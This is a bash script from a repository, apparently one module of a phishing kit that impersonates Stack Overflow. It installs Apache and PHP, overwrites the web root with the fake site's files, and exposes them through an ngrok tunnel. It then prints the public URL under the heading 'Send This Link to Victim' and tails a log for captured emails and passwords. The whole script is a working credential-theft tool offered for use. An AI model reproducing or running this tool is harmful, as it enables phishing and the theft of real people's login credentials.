Path: blob/master/sites/stackoverflow/stackoverflow.sh
738 views
#!/bin/bash12stop() {34checkngrok=$(ps aux | grep -o "ngrok" | head -n1)5if [[ $checkngrok == *'ngrok'* ]]; then6pkill -f -2 ngrok > /dev/null 2>&17killall -2 ngrok > /dev/null 2>&18fi9if [[ -e sendlink ]]; then10rm -rf sendlink11fi1213}141516sleep 217# spinner18spinlong ()19{20bar=" +++++++++++++++++++++++++++++++++++++++++++++++++++++++++"21barlenght=${#bar}22i=o23while ((i < 100 )); do24n=$((i*barlenght / 100 ))25printf "\e[00;32m\r[%-${barlenght}s]\e[00m" "${bar:0:n}"26((i += RANDOM%5+2))27sleep 0.428done29}303132#clolors33white='\e[1;37m'34green='\e[0;32m'35blue='\e[1;34m'36red='\e[1;31m'37yellow='\e[1;33m'38echo ""39echo ""40clear4142./Logo.sh43echo ""44echo ""45echo -e $'\e[1;33m[\e[0m\e[1;77m+\e[0m\e[1;33m]\e[0m\e[1;32m >> DOWNLOAD REQUIREMENTS >> \e[0m'46sleep 247echo""48sudo apt-get install apache249apt install php50apt install jq51apt install tail52apt install curl53systemctl start apache254apt install xterm55apt install gnome-terminal56systemctl restart apache2.service57mkdir /var58mkdir /var/www59mkdir /var/www/html60mv /var/www/html/* /var/www/61rm -rf /var/www/html/*62cp -R * /var/www/html/63cd ..64clear65cd /var/www/html/66chmod +x *67chmod 7777 *68sleep 369clear70./ngrok http 80 > /dev/null &7172echo ""73echo -e $'\e[1;31m[\e[0m\e[1;77m+\e[0m\e[1;33m]\e[0m\e[1;92m >> WAIT FOR NGROK UP !\e[0m'74sleep 2575echo ""76clear77./Logo.sh78echo ""79echo -e $yellow "// [ Send This Link to Victim ] //"80echo ""81echo -e $white82curl -s localhost:4040/api/tunnels | jq -r .tunnels[1].public_url83curl -s localhost:4040/api/tunnels | jq -r .tunnels[0].public_url84curl -s -N http://127.0.0.1:4040/api/tunnels | grep -o "https://[0-9a-z]*\.ngrok.io"85echo ""86echo ""87echo -e $green "// [ CREDENTIAL ] //"88echo ""89tail -f log.txt | grep -e "email" -e "password"90919293;;94959697